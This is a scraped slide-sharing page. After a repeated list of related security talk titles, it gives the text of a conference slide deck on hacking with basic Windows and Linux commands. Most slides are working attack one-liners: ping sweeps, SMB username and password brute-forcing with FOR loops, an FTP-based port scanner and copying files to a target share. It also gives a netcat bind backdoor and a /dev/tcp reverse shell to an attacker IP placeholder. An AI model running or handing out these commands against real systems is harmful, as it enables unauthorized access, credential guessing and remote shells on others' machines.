Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullah
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
 

theday, windows hacking with commandline

  • 1. Hacking With Basic Command Presented : Dedi Dwianto [theday@echo.or.id]
  • 2. Contents • Scenario • Windows Command-Line Hacking • Netcat • Linux Commnad-Line Hacking • Q&A
  • 3. Scenario Firewall Network Target Internet Attacker WWW DNS e-rdc .org 2008
  • 4. Windows Command • Finding Others Machines • SMB Sessions • FOR Loops • Password Guessing • Port Scanner • File Transfer
  • 5. Finding other machines • C:>ipconfig /displaydns • C:>arp –a
  • 6. Setting up smb sessions • Set up session with a target C:> net use [targetIP] [password] /u:[user] • Mount a Share on a target : C:> net use [targetIP][sharename] [password] /u:[user]
  • 7. Dropping smb sessions • Windows only accept one username at a time only • Drop SMB Session C:> net use [TargetIP] /del • Drop All SMB Session C:> net use * /del
  • 8. FOR Loops • Common Option for Hacking • FOR /L : Loop through a range of numbers • FOR /F: Loop through items in a text file
  • 9. FOR /L Loops • FOR /L loops are counters : c:> for /L %i in ([start],[step],[stop]) do [command] • Simple Counter c:> for /L %i in (1,1,255) do echo %i
  • 10. FOR /L Loops • Run Multiple Command [command1] & [command2] c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 • Run Command1 and Run Command2 if Command1 run without error [command1] && [command2] C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
  • 11. FOR /L Loops : Handling Output • Redirect to nul : > null c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul • Redirect to file : >filename C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt • Output find string : | find “[string name]” • Redirect Error Message : [command] 2>null or [command] 2>>file
  • 12. Simple Sweep Ping C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
  • 13. FOR /F Loops • Loop through text • etc can be : – FORcontents The /F ["options"] %parameter IN (“etc") DO command – String – Command
  • 14. Password Guessing with FOR /F • Password Guessing via SMB • You know Username • Password list from John the Ripper’s password.lst C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username] 2>nul && pause && echo [Username] :%i >> done.txt
  • 15.
  • 16. Username & Password Guessing • • withpassword list/F FOR Guees each password for each username We need 2 file username & • 2 variable %u and %p for username & password • Use net use for try SMB session • Drop SMB if success Login C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p & @net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt && net use [targetIP] /del)
  • 17.
  • 18. Windows Port Scanner With FTP Client • Windows FTP Client C:> ftp [IpAddress] • Using –s option FTP for ready from file : c:>ftp –s:[filename] • We’ll write a loop that generate FTP command file and invoke FTP to run from that command • Store the result for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt
  • 19.
  • 20. Windows Command Line File Transfer • Use Windows File & Printer Sharing • Redirect to Share folder : C:>type [filename] > [IPtarget][share][filename] • Login to SMB Session take from Password Guessing C:> net use [IPTarget] [password] /u:[username]
  • 21.
  • 22. Netcat • TCP/UDP Network Widget • Standard In and Send It across the network • Receives data from network and put it to standard out Std In Send Packets NETCAT Std Out Receives Packets Std Error SYSTEM NETWORK
  • 23. Netcat Functions • Send File • Port Scan • Backdoor Shell Access • Connect to Open Port • Simple Chats • Replay Data in TCP/UDP Packets • Etc …
  • 24. Netcat : Windows Backdoor nc -l -p [port] -e “cmd.exe”
  • 25. Linux Command Line • /dev/tcp/ Hacking • Open Connection to Other Machines • Like Connect Back Shell • /dev/tcp/[IPAddress]/[Port]
  • 26. Backdooring via /dev/tcp /bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1 /bin/bash -i > /dev/tcp/[ip]/[port] 0<&1 nc -l -p 80 2>&1 Firewall Deny Incoming Type Command Command Execute
  • 27.